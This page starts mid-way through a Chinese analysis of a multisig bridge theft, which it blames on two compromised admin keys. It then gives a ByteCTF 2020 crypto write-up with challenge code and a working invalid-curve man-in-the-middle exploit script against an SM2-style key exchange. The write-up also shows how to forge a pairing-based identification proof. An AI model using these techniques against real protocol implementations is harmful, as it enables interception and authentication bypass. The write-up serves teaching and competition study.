攻击者获取 13,100 枚 ETH 和 5,000 枚 BNB 的合约调用相同，本篇主要分析这两笔交易。
两笔交易分别为
<https://etherscan.io/tx/0x27981c7289c372e601c9475e5b5466310be18ed10b59d1ac840145f6e7804c97>
<https://bscscan.com/tx/0xa72c7262340c25b9258b33dcad089cb3473ed048d1f808f436a96b8ed577cdb1>
**以上交易调用流程如下：**
**第一步：**
**0xf845a7ee8477ad1fb4446651e548901a2635a915 地址调用 MultiSigWallet 合约中
addTransaction 方法在交易映射中添加一笔新的交易。**
**第二步：**
**0x812d8622c6f3c45959439e7ede3c580da06f8f25 地址调用 MultiSigWallet 合约中
confirmTransaction 方法传入映射的交易id。**
**注：confirmTransaction 只能由钱包管理员调用，通过分析，该管理员正是部署合约时已经确定的管理员地址。如下部署合约交易：**
可以明确以上两个步骤操作均为管理员调用。
**第三步：**
**第二步中方法内部会最终调用 executeTransaction 方法，之后调用 isConfirmed 方法做判断。**
**isConfirmed 方法中判断事件是否通过是根据该值，需要两个管理员就可以成功执行。**
**通过方法内部调用 EthManager 合约 unlockEth 方法，最终将 ETH/BNB 资金发送至攻击者钱包。**
## 0x5 资金流向
攻击者在ETH链盗取的代币信息：
13,100 Ether
41,200,000 USDC
592 WBTC
9,981,000 USDT
6,070,000 DAI
5,530,000 BUSD
84,620,000 AAG
110,000 FXS
415,000 SUSHI
990 AAVE
43 WETH
5,620,000 FRAX
**攻击者通过一系列的兑换交易将获得到的一部分 Erc20 Token 兑换为 Ether。**
攻击者在 BSC 链盗取的代币信息：
5,000 BNB
640,000 BUSD
攻击者在两条链中总获利1亿美金。
## 0x6 总结
通过上述事件来看，攻击手法是控制多签合约中钱包私钥，由于转移资金只需要两个地址同意，所以当攻击者控制这两个地址钱包私钥，在跨链中同意了攻击者转移资金的交易，就会造成资金被盗。
**对于此类安全事件，我们给出以下安全建议：**
* **建议增加资金转移时的多签地址数目，避免少量地址私钥被控制就可转移资金；**
* **建议对多签地址私钥安全存储，避免将私钥存储在云端或者容易受攻击的服务器。** | 社区文章 |
# 2020 ByteCTF决赛Crypto题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
bytectf决赛线下crypto赛题质量依然很高，在线下赛中实属难得，在此记录一下比赛时8个小时的做题过程。
## impersonation
Alice：
from KeyExchange import KeyExchange
from gmssl import func
from flag import FLAG
import socket
import time
import signal
import sys
sys.stderr = open('/dev/null', 'w')
signal.alarm(5)
n = 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123'
public_key_B = 'e52f035c340267a2ee2c57de87db9acf443d1fb98f0b7abbc55d9f332f4f823e' \
'0f81e7dde971b1e4d02981fc5741eb30f71bf6bcd0c02b06e5c857eedc58cae5'
G = '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' \
'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0'
print("Hi, Can you tell me bob's address?")
print("I have a message to tell him.")
try:
addr = input('>>>').strip()
ip, port = [x.strip() for x in addr.split(':')]
port = int(port)
except:
ip, port = 'bob', 1337
print(f"OK! {ip}:{port}, I got it!")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
data = s.recv(1024).strip()
assert data == b'Hi, Alice?'
except:
print("Oh noooooo! Where did Bob go?")
exit()
KE = KeyExchange()
r_str = func.random_hex(len(n))
P_a, T_a = KE.send(r_str)
s.sendall(f'{P_a.zfill(128)}{T_a}\n'.encode())
time.sleep(0.1)
data = s.recv(1024).strip().decode()
P_b, T_b = data[:128], data[128:]
if P_b != public_key_B:
print("Oh noooooo! Fake Bob!")
exit()
msg = KE.transport(P_b, T_b, FLAG)
s.sendall(f'{msg}\n'.encode())
time.sleep(0.1)
data = s.recv(1024).strip().decode()
msg = KE.decrypt(data)
if FLAG == msg:
print("My feelings are transmitted, Bye~")
else:
print("Oh noooooo! Fake Bob!")
exit()
中间人攻击
场景大概是Alice想与Bob通信，可以通过本地起一个socket当服务器，给他自己的ip,
port后再连接Bob即可拦截与修改信息，进行中间人攻击。这个场景还是有一定现实意义的，由于网站都有证书，所以Alice作为一个用户往往能够判断对方的公钥正确性，而服务器却不行，而若密钥协商协议实现有问题，则很有可能仍然有安全隐患。
Bob的代码：
from KeyExchange import KeyExchange
from gmssl import func
import signal
import sys
sys.stderr = open('/dev/null', 'w')
signal.alarm(5)
n = 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123'
private_key = '????????????????????????????????????????????????????????????????'
public_key = 'e52f035c340267a2ee2c57de87db9acf443d1fb98f0b7abbc55d9f332f4f823e' \
'0f81e7dde971b1e4d02981fc5741eb30f71bf6bcd0c02b06e5c857eedc58cae5'
KE = KeyExchange(public_key, private_key)
print('Hi, Alice?')
data = input().strip()
P_a, T_a = data[:128], data[128:]
r_str = func.random_hex(len(n))
P_b, T_b = KE.respond(r_str, P_a, T_a)
print(f'{P_b.zfill(128)}{T_b}')
data = input().strip()
msg = KE.reencrypt(data)
print(msg)
keyexchange
from gmssl import func, sm3
sm2p256v1_ecc_table = {
'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' +
'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
}
class KeyExchange(object):
def __init__(self, public_key=None, private_key=None, ecc_table=None):
if ecc_table is None:
ecc_table = sm2p256v1_ecc_table
self.para_len = len(ecc_table['n'])
self.ecc_a3 = (int(ecc_table['a'], base=16) +
3) % int(ecc_table['p'], base=16)
self.ecc_table = ecc_table
self.z = None
self.sk = None
self.peer_pk = None
if public_key and private_key:
self.public_key = public_key
self.private_key = private_key
else:
self.private_key = func.random_hex(len(ecc_table['n']))
self.public_key = self._kg(
int(self.private_key, 16), ecc_table['g'])
def send(self, r_str):
r = int(r_str, 16) % int(self.ecc_table['n'], base=16)
T = self._kg(r, self.ecc_table['g'])
h = int(self.sm3_hash_str(T), 16) % int(self.ecc_table['n'], base=16)
self.z = (r + h * int(self.private_key, 16)
) % int(self.ecc_table['n'], base=16) # z = r + hash(rG) *pri
return self.public_key, T
def respond(self, r_str, peer_public_key, peer_T):
self.peer_pk = peer_public_key
r = int(r_str, 16) % int(self.ecc_table['n'], base=16)
T = self._kg(r, self.ecc_table['g']) # T = rG
h = int(self.sm3_hash_str(T), 16) % int(self.ecc_table['n'], base=16) # hash(rG)
#self.z = (r + h * int(self.private_key, 16)
# ) % int(self.ecc_table['n'], base=16)
peer_h = int(self.sm3_hash_str(peer_T), 16) % int(
self.ecc_table['n'], base=16)
peer_hP = self._kg(peer_h, self.peer_pk)
peer_ThP = self._add_point(peer_T, peer_hP)
peer_ThP = self._convert_jacb_to_nor(peer_ThP) #(hash * pub + rG)*z
#K = self._kg(self.z, peer_ThP)
self.sk = self.sm3_hash_str(K)
return self.public_key, T
def transport(self, peer_public_key, peer_T, flag_bytes):
self.generate(peer_public_key, peer_T)
sk_bytes = bytes.fromhex(self.sk)
return bytes(a ^ b for (a, b) in zip(flag_bytes, sk_bytes)).hex()
def reencrypt(self, xor_cipher):
msg = bytes(a ^ b for (a, b) in zip(
bytes.fromhex(xor_cipher), bytes.fromhex(self.sk)))
return self.encrypt(msg)
def generate(self, peer_public_key, peer_T):
peer_h = int(self.sm3_hash_str(peer_T), 16) % int(
self.ecc_table['n'], base=16)
peer_hP = self._kg(peer_h, peer_public_key)
peer_ThP = self._add_point(peer_T, peer_hP)
peer_ThP = self._convert_jacb_to_nor(peer_ThP)
K = self._kg(self.z, peer_ThP)
self.sk = self.sm3_hash_str(K)
return None
def encrypt(self, data):
msg = data.hex()
k = func.random_hex(self.para_len)
C1 = self._kg(int(k, 16), self.ecc_table['g'])
xy = self._kg(int(k, 16), self.peer_pk)
x2 = xy[0:self.para_len]
y2 = xy[self.para_len:2 * self.para_len]
ml = len(msg)
t = sm3.sm3_kdf(xy.encode('utf8'), ml / 2)
if int(t, 16) == 0:
return None
else:
form = '%%0%dx' % ml
C2 = form % (int(msg, 16) ^ int(t, 16))
C3 = sm3.sm3_hash([
i for i in bytes.fromhex('%s%s%s' % (x2, msg, y2))
])
return '%s%s%s' % (C1, C3, C2)
# kG , hash , msg ^ hash(xy)
def decrypt(self, data):
len_2 = 2 * self.para_len
len_3 = len_2 + 64
C1 = data[0:len_2]
C3 = data[len_2:len_3]
C2 = data[len_3:]
xy = self._kg(int(self.private_key, 16), C1)
x2 = xy[0:self.para_len]
y2 = xy[self.para_len:len_2]
cl = len(C2)
t = sm3.sm3_kdf(xy.encode('utf8'), cl / 2)
if int(t, 16) == 0:
return None
else:
form = '%%0%dx' % cl
M = form % (int(C2, 16) ^ int(t, 16))
u = sm3.sm3_hash([
i for i in bytes.fromhex('%s%s%s' % (x2, M, y2))
])
if u == C3:
return bytes.fromhex(M)
else:
return None
def sm3_hash_str(self, msg):
return sm3.sm3_hash(func.bytes_to_list(msg.encode()))
def _kg(self, k, Point):
if (k % int(self.ecc_table['n'], base=16)) == 0:
return '0' * 128
Point = '%s%s' % (Point, '1')
mask_str = '8'
for i in range(self.para_len - 1):
mask_str += '0'
mask = int(mask_str, 16)
Temp = Point
flag = False
for n in range(self.para_len * 4):
if flag:
Temp = self._double_point(Temp)
if (k & mask) != 0:
if flag:
Temp = self._add_point(Temp, Point)
else:
flag = True
Temp = Point
k = k << 1
return self._convert_jacb_to_nor(Temp)
def _double_point(self, Point):
l = len(Point)
len_2 = 2 * self.para_len
if l < self.para_len * 2:
return None
else:
x1 = int(Point[0:self.para_len], 16)
y1 = int(Point[self.para_len:len_2], 16)
if l == len_2:
z1 = 1
else:
z1 = int(Point[len_2:], 16)
T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)
T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)
T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)
T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)
T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)
T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)
T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)
T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)
T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)
T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)
z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)
T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)
if (T5 % 2) == 1:
T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(
self.ecc_table['p'], base=16)
else:
T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)
y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
return form % (x3, y3, z3)
def _add_point(self, P1, P2):
if P1 == '0' * 128:
return '%s%s' % (P2, '1')
if P2 == '0' * 128:
return '%s%s' % (P1, '1')
len_2 = 2 * self.para_len
l1 = len(P1)
l2 = len(P2)
if (l1 < len_2) or (l2 < len_2):
return None
else:
X1 = int(P1[0:self.para_len], 16)
Y1 = int(P1[self.para_len:len_2], 16)
if l1 == len_2:
Z1 = 1
else:
Z1 = int(P1[len_2:], 16)
x2 = int(P2[0:self.para_len], 16)
y2 = int(P2[self.para_len:len_2], 16)
T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)
T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)
T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)
T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)
T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)
T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)
Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)
T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)
T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)
T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)
X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)
T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)
T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)
T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)
Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)
form = '%%0%dx' % self.para_len
form = form * 3
return form % (X3, Y3, Z3)
def _convert_jacb_to_nor(self, Point):
len_2 = 2 * self.para_len
x = int(Point[0:self.para_len], 16)
y = int(Point[self.para_len:len_2], 16)
z = int(Point[len_2:], 16)
z_inv = pow(
z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))
z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)
z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)
x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)
y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)
z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)
if z_new == 1:
form = '%%0%dx' % self.para_len
form = form * 2
return form % (x_new, y_new)
else:
return None
代码很长，不过大部分是sm2的实现，看关键函数可以得知
KeyExchange是一个类似于ecdh的密钥交换，交换后Alice通过OTP发送flag，Bob再通过Alice的公钥发回。
主要的困难（与教科书最基本的中间人攻击的区别）是Alice知道Bob的公钥，无法给她自己的公钥来实现转发。
而可能的漏洞有三个：
* Bob不知道Alice的公钥
* Alice有对flag的decrypt功能，并且有回显
* Alice与Bob均不对点进行检查
对于第二个漏洞，需要能找到一个改flag一位的地方，是初赛中类似题利用的漏洞。但是这次并没有这样的漏洞，加密时用与一个随机数异或，没办法确定对或者错对应的flag位的值。
因此先考虑第一点与第三点的利用
KeyExchange的流程是
Alice -> Bob : hash(ra * G) * AlicePublickey + ra * G
Bob -> Alice : hash(rb * G) * BobPublickey + rb * G
接着，他们通过下面过程计算一个共同的点
(hash(rb * G) * BobPrivatekey + rb) * (hash(ra * G) * AlicePublickey + ra * G)
= (hash(rb * G) * BobPrivatekey + rb) * (hash(ra * G) * AlicePrivatekey + ra) * G
= (hash(rb * G) * BobPublickey + rb * G) * (hash(ra * G) * AlicePrivatekey + ra)
而后续加密用的共享密钥是通过这个点经过SM3得到，两个不同的点得到的密钥之间没有任何关系
因此在消息转发时要让Alice与Bob计算的共享密钥需相同，并且由于Alice的密钥每次更换，若不知道给Bob发送的公钥对应的私钥，也不可能解密成功。
我们可控的点为：
* 给Alice的Bob rb
* 给Bob的Alice ra
* 给Bob的Alice publickey
因为Bob的公钥无法改变，给alice发送的消息只有rb可控，但由于还要进行哈希计算，所以改变rb所得到的值难以控制，因此尝试直接将Bob发送的rb转发，试图通过给Bob的ra与publickey来实现共享密钥计算值相等。
即
hash(ra * G) * AlicePublickey + ra * G = hash(R) * Publickey + R
（以下为我在比赛时第一时间的想法）
将左边看作一个整体点P
若先任意选取R，则
Publickey = (P - R) * invert(hash(R) , n) = xG
但无法知道x的值，则最后一步Bob发送的flag无法解密。
若先选取Publickey，几乎没法确定R。
所以想到找低阶点，若Publickey的阶低，则x可以通过爆破得到，同时，也可以通过爆破来确定R。
R = P - i * Publickey
如果hash(R) % order = i，则能得到满足条件的R。
对于选取的一个低阶点，计算order次，碰撞不成功的概率为(1 – 1/order)^order < 1/e = 0.37
所以大概成功率会大于63%
但SM2使用的曲线安全性很高，阶为素数，无法在这条曲线上找低阶点。
但是Bob并不检查点的合法性，可以寻找不在曲线上的低阶点
寻找方法为将b加一个随机数（可以是1）,计算一个点g的阶，若阶order有小质因子k，则计算(order // k)g 则为想要的k阶点
这样，虽然是两个不在一条曲线上的点运算，但是它也一定能算出一个结果R，只不过这个结果R在第三条曲线上，但这里的R仅仅只用到了这一次，因此不会有其他麻烦。
而Publickey还会用于下面对flag的加密，用不在曲线上的点仍能够实现加密，但是解密时就得不到k* Publickey了。
原本解密时，通过privatekey*C1可以得到加密使用的点，但因为我们的Publickey根本就不是从G得到的，因此无法直接得到加密使用的点。但由于Publickey的阶并不大，k
* Publickey的可能值仅有order个，爆破order次，即可从中找到明文。
exp：
import socketserver
import os, signal
import threading
import string, binascii
from hashlib import sha256
from Crypto.Util import number
from KeyExchange import KeyExchange
from pwn import *
from gmssl import func, sm3
import string
KE = KeyExchange()
def sm3_hash_str(msg):
return sm3.sm3_hash(func.bytes_to_list(msg.encode()))
def to_point(x , y):
return hex(x)[2:].rjust(64 , '0') + hex(y)[2:].rjust(64 , '0')
def to_int(g):
x = int(g[:64] , 16)
y = int(g[64:] , 16)
return x , y
def fu(g):
x ,y = to_int(g)
y = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF - y
return to_point(x , y)
class Task(socketserver.BaseRequestHandler):
index = 0
times = 0
_key = None
_rand_iter = None
def _recvall(self):
data = self.request.recv(1024)
return data.strip()
def send(self, msg, newline=True):
if newline:
msg += b'\n'
self.request.sendall(msg)
def get_target(self,peer_pk , peer_T):
peer_h = int(sm3_hash_str(peer_T), 16) % int(KE.ecc_table['n'], base=16)
peer_hP = KE._kg(peer_h, peer_pk)
peer_ThP = KE._add_point(peer_T, peer_hP)
peer_ThP = KE._convert_jacb_to_nor(peer_ThP)
return peer_ThP
def attack(self, tempg):
tempx = 108369860142849285519512209608941191631731475365137473063138228543102305365193
tempy = 17711224374516220167029583974392567739229554851195153447898777402617425143845
temp = to_point(tempx , tempy)
for i in range(1783):
tempc = KE._kg(i , temp)
tempc = fu(tempc)
r = KE._convert_jacb_to_nor(KE._add_point(tempg , tempc))
if int(sm3_hash_str(r), 16) % int(KE.ecc_table['n'], base=16) % 1783 == i:
if KE._kg(int(sm3_hash_str(r), 16) % int(KE.ecc_table['n'], base=16), temp) != None:
rg = KE._convert_jacb_to_nor(KE._add_point(r , KE._kg(int(sm3_hash_str(r), 16) % int(KE.ecc_table['n'], base=16), temp)))
break
assert self.get_target(temp , r) == tempg
return temp , r
def decrypt(msg):
tempx = 108369860142849285519512209608941191631731475365137473063138228543102305365193
tempy = 17711224374516220167029583974392567739229554851195153447898777402617425143845
temp = to_point(tempx , tempy)
len_2 = 64 * 2
len_3 = len_2 + 64
C2 = msg[len_3:]
for k in range(1783):
xy = KE._kg(k, temp)
if xy != None:
x2 = xy[0:64]
y2 = xy[64:2 * 64]
ml = len(C2)
t = sm3.sm3_kdf(xy.encode('utf8'), ml / 2)
temp = number.long_to_bytes(int(C2 , 16) ^ int(t , 16))
if temp[0] == ord('B'):
print(temp)
def recv(self, prompt=b''):
self.send(prompt, newline=False)
return self._recvall()
def handle(self):
self.send(b'Hi, Alice?')
p = remote('172.16.9.45' , 13334)
data = self._recvall()
print('Alice-sl' , data)
P_a, T_a = data[:128].decode(), data[128:].decode()
Alice_THP = self.get_target(P_a , T_a)
P_sl , T_sl = self.attack(Alice_THP)
p.recvline()
p.sendline(P_sl + T_sl)
print('sl-Bob',P_sl + T_sl)
temp = p.recvline()[:-1]
print('Bob-sl',temp)
self.send(temp)
print('sl-Alice' , temp)
msg = self._recvall()
print('Alice-sl' , msg)
p.sendline(msg)
print('sl-Bob' , msg)
temp = p.recvline()
print('Bob-sl' , temp)
self.decrypt(temp)
self.request.close()
p.close()
class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
if __name__ == "__main__":
HOST, PORT = '0.0.0.0', 1118
server = ForkedServer((HOST, PORT), Task)
server.allow_reuse_address = True
server.serve_forever()
但这种思路看着过于眼花缭乱，完全不按题目正常的流程走，比赛时打了一整页草稿才写出来。
但是赛后跟杭电的V师傅交流了一下，发现上面有一步出了问题
当先任意选取R时，
Publickey = (P - R) * invert(hash(R) , n) = xG
这条式子是否真的无法算出x
最初认为P – R是一个未知的值，但是完全可以取R = P – G
则x = invert(hash(R) , n)
接着直接解密即可。
比赛时总会遇到这种一时想不到的小trick，做题时还是得思考步步谨慎。
~~当然会的东西多了也许想不到也不是什么大问题~~
## agid
server.py
import agid
import re
from gmssl.optimized_field_elements import FQ2, FQ
'''
def check_auth():
bob = agid.Verifier()
identity = bob.allow_identity[0]
alice = agid.Prover(identity)
Ppub, Qpub, H = bob.setup()
Rid = bob.keygen(identity)
V = bob.gpkgen()
W = bob.gskgen(identity)
U1, U2, U3, S1, S2, T1, T2, T3 = alice.commit(Rid, W, Ppub, Qpub, H)
c = bob.challenge(U1, U2, U3, S1, S2, T1, T2, T3)
s1, s2, s3, s4 = alice.prove(c)
assert bob.verify(s1, s2, s3, s4)
check_server()
'''
def safe_eval(data):
data = data.replace(' ', '').strip()
if re.match(r"^[0-9,()\[\]]+$", data) is None:
print('This is just for simpler data transmission,\nPlease do not consider attacking here.')
exit()
try:
# This is just for simpler data transmission, please do not consider attacking here
return eval(data)
except:
print('eval fault.')
exit()
server = agid.Verifier()
Ppub, Qpub, H = server.setup()
V = server.gpkgen()
print((Ppub, Qpub, H, V))
print("Give me your identity")
identity = input(">>>").strip()
Rid = server.keygen(identity)
W = server.gskgen(identity)
print((Rid, W))
print("Give me U1, U2, U3, S1, S2, T1, T2, T3")
try:
U1, U2, U3, S1, S2, T1, T2, T3 = [[FQ2(y) if type(y) is list else FQ(y) for y in x] for x in safe_eval(input(">>>"))]
except:
print('eval error.')
exit()
c = server.challenge(U1, U2, U3, S1, S2, T1, T2, T3)
print(c)
print("Give me s1, s2, s3, s4")
data = input(">>>")
try:
s1, s2, s3, s4 = safe_eval(data)
except:
print('format error.')
exit()
if server.verify(s1, s2, s3, s4):
print(FLAG)
else:
print('NoNoNo...')
agid.py
from random import SystemRandom, sample
from gmssl import func
from gmssl.sm3 import sm3_hash
from string import ascii_letters, digits
import gmssl.optimized_curve as ec
import gmssl.optimized_pairing as ate
def sm3_hash_str(msg):
return sm3_hash(func.bytes_to_list(msg.encode()))
class Prover(object):
def __init__(self, identity):
Hid_str = sm3_hash_str(identity)
self.Hid = int(Hid_str, 16)
self.r1 = None
self.r2 = None
self.r3 = None
self.k1 = None
self.k2 = None
self.k3 = None
self.k4 = None
def commit(self, Rid, W, Ppub, Qpub, H):
rand_gen = SystemRandom()
self.r1 = rand_gen.randrange(ec.curve_order)
self.r2 = rand_gen.randrange(ec.curve_order)
self.r3 = rand_gen.randrange(ec.curve_order)
self.k1 = rand_gen.randrange(ec.curve_order)
self.k2 = rand_gen.randrange(ec.curve_order)
self.k3 = rand_gen.randrange(ec.curve_order)
self.k4 = rand_gen.randrange(ec.curve_order)
U1_left = ec.multiply(ec.G1, (self.r1 * self.Hid) % ec.curve_order)
U1_right = ec.multiply(Qpub, self.r1)
U1 = ec.add(U1_left, U1_right)
r1_inv = pow(self.r1, ec.curve_order - 2,
ec.curve_order) % ec.curve_order
U2 = ec.multiply(Rid, r1_inv)
U3_left = ec.multiply(U1, self.r2)
U3_right = ec.multiply(H, self.r3)
U3 = ec.add(U3_left, U3_right)
S1_left = ec.multiply(
ec.G1, (self.r1 * self.r2 * self.Hid) % ec.curve_order)
S1_right = ec.multiply(Ppub, (self.r1 * self.r2) % ec.curve_order)
S1 = ec.add(S1_left, S1_right)
r12_inv = pow((self.r1 * self.r2) % ec.curve_order,
ec.curve_order - 2, ec.curve_order) % ec.curve_order
S2 = ec.multiply(W, r12_inv)
T1_left = ec.multiply(ec.G1, self.k1)
T1_mid = ec.multiply(Qpub, self.k2)
T1_right = ec.multiply(H, self.k3)
T1 = ec.add(T1_left, T1_mid)
T1 = ec.add(T1, T1_right)
T2_left = ec.multiply(U1, self.k4)
T2_right = ec.multiply(H, self.k3)
T2 = ec.add(T2_left, T2_right)
T3_left = ec.multiply(ec.G1, self.k1)
T3_right = ec.multiply(Ppub, self.k2)
T3 = ec.add(T3_left, T3_right)
return U1, U2, U3, S1, S2, T1, T2, T3
def prove(self, c):
s1 = (self.k1 + c * self.r1 * self.r2 * self.Hid) % ec.curve_order
s2 = (self.k2 + c * self.r1 * self.r2) % ec.curve_order
s3 = (self.k3 + c * self.r3) % ec.curve_order
s4 = (self.k4 + c * self.r2) % ec.curve_order
return s1, s2, s3, s4
class Verifier(object):
def __init__(self):
self.s = None
self.sm = None
self.u = None
self.Ppub = None
self.Qpub = None
self.H = None
self.V = None
self.c = None
self.U1 = None
self.U3 = None
self.S1 = None
self.T1 = None
self.T2 = None
self.T3 = None
self.allow_identity = [''.join(sample(ascii_letters + digits, 10)) for _ in range(3)]
def setup(self):
rand_gen = SystemRandom()
self.s = rand_gen.randrange(ec.curve_order)
self.sm = rand_gen.randrange(ec.curve_order)
self.u = rand_gen.randrange(ec.curve_order)
self.Ppub = ec.multiply(ec.G1, self.s)
self.Qpub = ec.multiply(ec.G1, self.sm)
h = rand_gen.randrange(ec.curve_order)
self.H = ec.multiply(ec.G1, h)
return self.Ppub, self.Qpub, self.H
def keygen(self, identity):
if not identity in self.allow_identity:
return None
Hid_str = sm3_hash_str(identity)
Hid = int(Hid_str, 16)
Hidsm_inv = pow(Hid + self.sm, ec.curve_order - 2,
ec.curve_order) % ec.curve_order
Rid = ec.multiply(ec.G2, Hidsm_inv)
HidQ = ec.multiply(ec.G1, Hid)
HidQQpub = ec.add(HidQ, self.Qpub)
left = ate.pairing(Rid, HidQQpub)
right = ate.pairing(ec.G2, ec.G1)
assert left == right
return Rid
def gpkgen(self):
Hisu = self.u
for ids in self.allow_identity:
H_str = sm3_hash_str(ids)
Hs = int(H_str, 16) + self.s
Hisu = (Hisu * Hs) % ec.curve_order
self.V = ec.multiply(ec.G2, Hisu)
return self.V
def gskgen(self, identity):
if not identity in self.allow_identity:
return None
Hid_str = sm3_hash_str(identity)
Hids = int(Hid_str, 16) + self.s
Hids_inv = pow(Hids, ec.curve_order - 2,
ec.curve_order) % ec.curve_order
W = ec.multiply(self.V, Hids_inv)
return W
def challenge(self, U1, U2, U3, S1, S2, T1, T2, T3):
self.U1 = U1
self.U3 = U3
self.S1 = S1
self.T1 = T1
self.T2 = T2
self.T3 = T3
eq1_left = ate.pairing(U2, U1)
eq1_right = ate.pairing(ec.G2, ec.G1)
assert eq1_left == eq1_right
eq2_left = ate.pairing(S2, S1)
eq2_right = ate.pairing(self.V, ec.G1)
assert eq2_left == eq2_right
if (eq1_left == eq1_right) and (eq2_left == eq2_right):
rand_gen = SystemRandom()
self.c = rand_gen.randrange(ec.curve_order)
return self.c
else:
return None
def verify(self, s1, s2, s3, s4):
c_neg = (ec.curve_order - self.c) % ec.curve_order
T1prime_1 = ec.multiply(ec.G1, s1)
T1prime_2 = ec.multiply(self.Qpub, s2)
T1prime_3 = ec.multiply(self.H, s3)
T1prime_4 = ec.multiply(self.U3, c_neg)
T1prime_left = ec.add(T1prime_1, T1prime_2)
T1prime_right = ec.add(T1prime_3, T1prime_4)
T1prime = ec.add(T1prime_left, T1prime_right)
assert ec.normalize(T1prime) == ec.normalize(self.T1)
T2prime_left = ec.multiply(self.U1, s4)
T2prime_mid = ec.multiply(self.H, s3)
T2prime_right = ec.multiply(self.U3, c_neg)
T2prime_buffer = ec.add(T2prime_left, T2prime_mid)
T2prime = ec.add(T2prime_buffer, T2prime_right)
assert ec.normalize(T2prime) == ec.normalize(self.T2)
T3prime_left = ec.multiply(ec.G1, s1)
T3prime_mid = ec.multiply(self.Ppub, s2)
T3prime_right = ec.multiply(self.S1, c_neg)
T3prime_buffer = ec.add(T3prime_left, T3prime_mid)
T3prime = ec.add(T3prime_buffer, T3prime_right)
assert ec.normalize(T3prime) == ec.normalize(self.T3)
if (ec.normalize(T1prime) == ec.normalize(self.T1))\
and (ec.normalize(T2prime) == ec.normalize(self.T2))\
and (ec.normalize(T3prime) == ec.normalize(self.T3)):
return True
else:
return False
这题就不如上一题巧妙。
题目中用的gmssl并不是pip直接下载的那个，需要去github找另一个
题目是一个认证系统，如果有identity即可多得到两个数据
上面check_auth为正常的认证流程
我们需要做的是没有identity的情况下认证成功
看上去两个文件，200多行，需要给12个变量，满足5个方程。十分复杂。
但实际上全写出来，真的很简单
eq1_left = ate.pairing(U2, U1)
eq1_right = ate.pairing(ec.G2, ec.G1)
assert eq1_left == eq1_right
虽然有双线性对，一开始还以为需要用到双线性对的性质，但是发现后面并没有限制，可以直接U2 = G2 ， U1 = G1
eq2_left = ate.pairing(S2, S1)
eq2_right = ate.pairing(self.V, ec.G1)
assert eq2_left == eq2_right
第二个同理，S2 = V ， S1 = G1
下面的则是要求
T1 = (s1 + s2*sm + h*s3)G1 - c * U3
T2 = (s3 * h)G1 + s4 * U1 - c * U3 = (s3 * h + s4)G1 - c * U3
T3 = (s1 + s * s2)G1 - c * S1 = (s1 + s * s2 - c)G1
由于预先不知道c的值，所以在T的构造里必须把c全消掉。
点为0可能出现一些神秘问题（上一道题是这样的，这题用的函数不一样，也不知道会不会）。但是不为0完全也能构造
